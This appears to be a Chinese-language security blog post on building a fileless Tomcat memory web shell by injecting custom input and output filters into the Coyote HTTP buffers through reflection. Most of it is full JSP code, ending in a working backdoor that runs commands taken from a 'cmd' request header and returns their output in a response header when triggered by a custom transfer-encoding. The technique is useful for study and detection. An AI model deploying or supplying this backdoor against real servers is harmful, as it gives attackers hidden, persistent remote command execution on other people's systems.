java包过滤内存马
0 条评论描述
这次来炒个冷饭,研究一下tomcat的内存马。
内存马没什么好说的,只要是在tomcat的执行流程中,很多对象都有成为内存马的潜质。我这里找到了一个包过滤功能。有输入包过滤器InputFilter、输出包过滤器OutputFilter等等。
网上找了个图
在创建createProcessor的过程中,可以看到在org.apache.coyote.http11.Http11Processor#Http11Processor
可以看到在inputBuffer与outputBuffer中添加了各类过滤器
其实这一步添加的是org.apache.coyote.http11.Http11InputBuffer 中的filterLibrary,真正执行的是activeFilters
在org.apache.coyote.http11.Http11Processor#prepareRequest 中
可以看到,满足一定条件就会添加一个activeFilter,比如contentLength >=0
下面便开始尝试植入内存马
一次不太成功的尝试
初步测试
首先我想到的是修改ActiveFilters,然后使用 doWrite、doRead 函数执行危险函数,doRead我一直没看到调用,doWrite函数会出现一种情况
lastActiveFilter
是ActiveFilters的最后一个ActiveFilter的位置,在每一个请求中ActiveFilters 都会添加一个系统的ActiveFilter,就比如contentLength>=0或<0都会添加一个ActiveFilter,会顶掉我们插入的ActiveFilter,从而无法调用。
然后我看到了recycle 方法
这里会循环调用lastActiveFilter。就把目标设到这里了。
先尝试写一个
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.coyote.http11.InputFilter" %>
<%@ page import="org.apache.tomcat.util.buf.ByteChunk" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.net.ApplicationBufferHandler" %>
<%@ page import="org.apache.coyote.InputBuffer" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="org.apache.coyote.OutputBuffer" %>
<%@ page import="org.apache.coyote.http11.OutputFilter" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="org.apache.coyote.http11.HttpOutputBuffer" %>
<%
class testInputFileter implements InputFilter {
public org.apache.coyote.Request request;
@Override
public int doRead(ByteChunk chunk) throws IOException {
return 0;
}
@Override
public int doRead(ApplicationBufferHandler handler) throws IOException {
return 0;
}
@Override
public void setRequest(org.apache.coyote.Request request) {
this.request = request;
}
@Override
public void recycle() {
Response response1 = (Response) this.request.getResponse();
}
@Override
public ByteChunk getEncodingName() {
return null;
}
@Override
public void setBuffer(InputBuffer buffer) {
}
@Override
public long end() throws IOException {
return 0;
}
@Override
public int available() {
return 0;
}
@Override
public boolean isFinished() {
return false;
}
}
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
org.apache.coyote.Request req2 = req.getCoyoteRequest();
InputBuffer inputBuffer = (InputBuffer) req2.getInputBuffer();
testInputFileter testFilter = new testInputFileter();
testFilter.setRequest(req2);
Field activeFilters = inputBuffer.getClass().getDeclaredField("activeFilters");
activeFilters.setAccessible(true);
InputFilter[] newactiveFilters = new InputFilter[2];
newactiveFilters[0] = testFilter;
activeFilters.set(inputBuffer,newactiveFilters);
Field lastActiveFilter = inputBuffer.getClass().getDeclaredField("lastActiveFilter");
lastActiveFilter.setAccessible(true);
lastActiveFilter.set(inputBuffer,0);
%>
设置lastActiveFilter 为0,
可以看到成功插入,并且能够执行。
那我们访问另一个页面呢?
插入的inputfilter没有了,调用之后便会删除inputfilter,我们试着增加InputFilter的数量,再添加一个testFilter,
一样的先访问shell,再访问其他页面
看到虽然还有我们插入的类,但是lastActiveFilter 却为0,无法调用我们的类。原因是每次调用完毕lastActiveFilter 的值修改成了-1。
尝试绕过
第一个想法,我们在调用的时候弹出错误是否就不会重新赋值lastActiveFilter为-1呢?
我们在第一步将lastActiveFilter 设置为一个超过数组长度的值,比如3。
这样在多次循环后,便会超过数组长度报错推出了。
然后当我访问新页面时,
重新调用了createProcessor,将Http11Processor 给重新赋值了,看一下原因:
在processor 为nul时
processor 从recycledProcessors 弹出,为空则重新赋值。
recycledProcessors在哪插入数据的呢?
在http请求完后会调用release 方法,(这一步在我们调用第一次recycle 产生报错之后)
问题出在processor.recycle(),会第二次调用recycle 方法,这一步再次产生报错,而无法执行
recycledProcessors.push(processor);
尬住了。。。。。。
同理,outputFilter也是一样的逻辑。
第二种绕过
在似乎没辙的情况下,我想到了另一个绕过方式。
inputBuffer.recycle();
outputBuffer.recycle();
我们可以看到每次调用都是同时调用inputBuffer与outputBuffer的recycle方法,
我们可以设想一个套娃的方法,
在inputFilter中的recycle方法设置outputBuffer的lastActiveFilter与activeFilters
在outputFilter中的recycle方法设置inputBuffer的lastActiveFilter与activeFilters
haha,是不是有点意思
经过调试,代码如下:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.coyote.http11.Http11InputBuffer" %>
<%@ page import="org.apache.jasper.runtime.HttpJspBase" %>
<%@ page import="org.apache.coyote.http11.InputFilter" %>
<%@ page import="org.apache.tomcat.util.buf.ByteChunk" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.net.ApplicationBufferHandler" %>
<%@ page import="org.apache.coyote.InputBuffer" %>
<%@ page import="java.rmi.RemoteException" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="org.apache.coyote.OutputBuffer" %>
<%@ page import="org.apache.coyote.http11.OutputFilter" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="org.apache.coyote.http11.HttpOutputBuffer" %>
<%@ page import="org.apache.coyote.http11.filters.IdentityOutputFilter" %>
<%@ page import="org.apache.coyote.http11.filters.VoidInputFilter" %>
<%
class testInputFileter implements InputFilter {
public org.apache.coyote.Request request;
@Override
public int doRead(ByteChunk chunk) throws IOException {
return 0;
}
@Override
public int doRead(ApplicationBufferHandler handler) throws IOException {
return 0;
}
@Override
public void setRequest(org.apache.coyote.Request request) {
this.request = request;
}
@Override
public void recycle() {
System.out.println("asd");
Response response1 = (Response) this.request.getResponse();
try {
Field outputBuffer = response1.getClass().getDeclaredField("outputBuffer");
outputBuffer.setAccessible(true);
OutputBuffer http11outputBuffer = (OutputBuffer) outputBuffer.get(response1);
Field lastActiveFilter = http11outputBuffer.getClass().getDeclaredField("lastActiveFilter");
lastActiveFilter.setAccessible(true);
lastActiveFilter.set(http11outputBuffer,1);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
@Override
public ByteChunk getEncodingName() {
return null;
}
@Override
public void setBuffer(InputBuffer buffer) {
}
@Override
public long end() throws IOException {
return 0;
}
@Override
public int available() {
return 0;
}
@Override
public boolean isFinished() {
return false;
}
}
class TestOutFilter implements OutputFilter{
private org.apache.coyote.Request request;
public void setRequest(org.apache.coyote.Request request) {
this.request = request;
}
@Override
public void setResponse(Response response) {
}
@Override
public void recycle() {
InputBuffer inputBuffer = (InputBuffer) this.request.getInputBuffer();
testInputFileter testFilter = new testInputFileter();
testFilter.setRequest(this.request);
try {
Field activeFilters = inputBuffer.getClass().getDeclaredField("activeFilters");
activeFilters.setAccessible(true);
InputFilter[] newactiveFilters = new InputFilter[2];
newactiveFilters[0] = testFilter;
newactiveFilters[1] = testFilter;
activeFilters.set(inputBuffer,newactiveFilters);
Field lastActiveFilter = inputBuffer.getClass().getDeclaredField("lastActiveFilter");
lastActiveFilter.setAccessible(true);
lastActiveFilter.set(inputBuffer,0);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
@Override
public void setBuffer(HttpOutputBuffer buffer) {
}
@Override
public void end() throws IOException {
}
@Override
public void flush() throws IOException {
}
@Override
public int doWrite(ByteChunk chunk) throws IOException {
return 0;
}
@Override
public int doWrite(ByteBuffer chunk) throws IOException {
return 0;
}
@Override
public long getBytesWritten() {
return 0;
}
}
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
org.apache.coyote.Request req2 = req.getCoyoteRequest();
InputBuffer inputBuffer = (InputBuffer) req2.getInputBuffer();
testInputFileter testFilter = new testInputFileter();
testFilter.setRequest(req2);
Field activeFilters = inputBuffer.getClass().getDeclaredField("activeFilters");
activeFilters.setAccessible(true);
InputFilter[] newactiveFilters = new InputFilter[2];
newactiveFilters[0] = testFilter;
newactiveFilters[1] = testFilter;
activeFilters.set(inputBuffer,newactiveFilters);
Field lastActiveFilter = inputBuffer.getClass().getDeclaredField("lastActiveFilter");
lastActiveFilter.setAccessible(true);
lastActiveFilter.set(inputBuffer,0);
//response
Response response1 = (Response) req2.getResponse();
Field outputBuffer = response1.getClass().getDeclaredField("outputBuffer");
outputBuffer.setAccessible(true);
OutputBuffer http11outputBuffer = (OutputBuffer) outputBuffer.get(response1);
TestOutFilter testFilter2 = new TestOutFilter();
testFilter2.setRequest(req2);
Field activeFilters2 = http11outputBuffer.getClass().getDeclaredField("activeFilters");
activeFilters2.setAccessible(true);
OutputFilter[] newactiveFilters2 = new OutputFilter[2];
newactiveFilters2[0] = testFilter2;
newactiveFilters2[1] = testFilter2;
activeFilters2.set(http11outputBuffer,newactiveFilters2);
Field lastActiveFilter2 = http11outputBuffer.getClass().getDeclaredField("lastActiveFilter");
lastActiveFilter2.setAccessible(true);
lastActiveFilter2.set(http11outputBuffer,1);
%>
访问shell后访问另一个页面
成功实现了我们的想法。
这里还是比较有意思的,但是再回显的时候遇到了麻烦,因为调用recycle方法的时候,request对象已经清空了,没办法再获取值什么的。
不过这个思路挺好,就记录下来了。
成功的内存马
在执行org.apache.coyote.http11.Http11Processor#prepareRequest的时候,我们注意到
在获取到transfer-encoding中的值后,会调用org.apache.coyote.http11.Http11Processor#addInputFilter
这里会循环调用inputFilters中inputFilter的getEncodingName()方法,如果匹配则加入到ActiveFilters中。
inputFilters 正是filterLibrary,所以我们可以将自定义的inputFilter插入filterLibrary,同时在请求头中设置
transfer-encoding,来触发调用。代码如下
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.coyote.http11.InputFilter" %>
<%@ page import="org.apache.tomcat.util.buf.ByteChunk" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.net.ApplicationBufferHandler" %>
<%@ page import="org.apache.coyote.InputBuffer" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.nio.charset.Charset" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%
class testInputFileter implements InputFilter {
public org.apache.coyote.Request request;
@Override
public int doRead(ByteChunk chunk) throws IOException {
return 0;
}
@Override
public int doRead(ApplicationBufferHandler handler) throws IOException {
return 0;
}
@Override
public void setRequest(org.apache.coyote.Request request) {
this.request = request;
}
@Override
public void recycle() {
return;
}
@Override
public ByteChunk getEncodingName() {
ByteChunk byteChunk = new ByteChunk();
byteChunk.setBytes("test".getBytes(Charset.forName("ISO-8859-1")),0, "test".length());
try {
String cmd = this.request.getHeader("cmd");
if(cmd != null){
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
this.request.getResponse().addHeader("cmdresult",output);
}
this.request.getResponse().addHeader("cmdresult","None");
} catch (IOException e) {
throw new RuntimeException(e);
}
return byteChunk;
}
@Override
public void setBuffer(InputBuffer buffer) {
}
@Override
public long end() throws IOException {
return 0;
}
@Override
public int available() {
return 0;
}
@Override
public boolean isFinished() {
return false;
}
}
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
org.apache.coyote.Request req2 = req.getCoyoteRequest();
InputBuffer inputBuffer = (InputBuffer) req2.getInputBuffer();
testInputFileter testFilter = new testInputFileter();
testFilter.setRequest(req2);
Field filterLibrary = inputBuffer.getClass().getDeclaredField("filterLibrary");
filterLibrary.setAccessible(true);
InputFilter[] temp = (InputFilter[]) filterLibrary.get(inputBuffer);
InputFilter[] newactiveFilters = new InputFilter[temp.length+1];
for (int i = 0; i < temp.length; i++) {
newactiveFilters[i] = temp[i];
}
newactiveFilters[temp.length] = testFilter;
filterLibrary.set(inputBuffer,newactiveFilters);
%>
首先正常访问shell,插入inputFilter
再次访问其他页面,加上
transfer-encoding: test
可见成功调用了getEncodingName 方法,并且能够回显。
现在想想,也可以把inputFilters中的inputFilter给替换了,不过这本来就是一些思路。